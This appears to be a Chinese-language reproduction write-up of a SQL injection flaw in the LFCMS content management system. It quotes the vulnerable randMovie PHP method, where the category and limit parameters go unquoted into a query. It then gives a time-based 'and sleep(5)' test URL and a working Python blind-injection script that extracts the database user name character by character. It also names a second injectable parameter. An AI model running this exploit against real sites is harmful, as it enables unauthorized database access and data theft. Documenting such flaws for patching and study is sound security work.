LFCMS前台sql注入（二）
一、漏洞简介¶
二、漏洞影响¶
三、复现过程¶
漏洞起始点位于/Application/Home/Controller/AjaxController.class.php文件中的randMovie方法，代码如下 
第七行代码中调用了Ajax模型中的randMovie方法，同时limit和category是我们输入的可控的参数，跟进randMovie方法
public function randMovie($limit=6,$category='') {
if($category) {
$type='and category='.$category;
}
$prefix=C('DB_PREFIX');
$mlist=M()->query('SELECT * FROM `'.$prefix.'movie` AS t1 JOIN (SELECT ROUND(RAND() * ((SELECT MAX(id) FROM `'.$prefix.'movie`)-(SELECT MIN(id) FROM `'.$prefix.'movie`))+(SELECT MIN(id) FROM `'.$prefix.'movie`)) AS idx) AS t2 WHERE t1.id >= t2.idx '.$type.' ORDER BY t1.id LIMIT '.$limit);
foreach($mlist as $key=>$value) {
$list[$key]=D('Tag')->movieChange($value,'movie');
}
return $list;
}
在这里注意到\(type与\)limit在sql语句执行时均没有被单引号包裹，直接拼接到语句当中，这里就存在了sql注入的可能，首先我们在movie表里放一条数据，看一下正常执行时sql语句是如何执行的 
查看数据库日志可以得到如下sql语句
SELECT * FROM `lf_movie` AS t1 JOIN (SELECT ROUND(RAND() * ((SELECT MAX(id) FROM `lf_movie`)-(SELECT MIN(id) FROM `lf_movie`))+(SELECT MIN(id) FROM `lf_movie`)) AS idx) AS t2 WHERE t1.id >= t2.idx and category=2 ORDER BY t1.id LIMIT 1
接着来尝试下进行注入，测试链接如下
http://lfcms.com/index.php/Ajax/randMovie?limit=1&category=2 and sleep(5)
页面确实延迟了5秒，那么接着看一下后端数据库的语句
SELECT * FROM `lf_movie` AS t1 JOIN (SELECT ROUND(RAND() * ((SELECT MAX(id) FROM `lf_movie`)-(SELECT MIN(id) FROM `lf_movie`))+(SELECT MIN(id) FROM `lf_movie`)) AS idx) AS t2 WHERE t1.id >= t2.idx and category=2 and sleep(5) ORDER BY t1.id LIMIT 1
基本可以判断该处存在着可用的注入点，接下来编写脚本跑一下数据库用户名试试
import requests
url = 'http://lfcms.com/index.php/Ajax/randMovie?limit=1&category=2 and '
s = requests.session()
result = ""
for i in range(1,50):
print('==========================')
for j in range(32,127):
payload = "if((ascii(substr((select user()),{},1))={}),sleep(5),0)".format(i,j)
temp = url+payload
try:
s.get(temp,timeout=5)
except:
result+= chr(j)
print(result)
break
相同原理的利用点同样不止一个，如/Application/Home/Controller/PlayerController.class.php文件中的down方法调用了模型movie中的getPlayerUrl方法，该方法的pid参数同样可以注入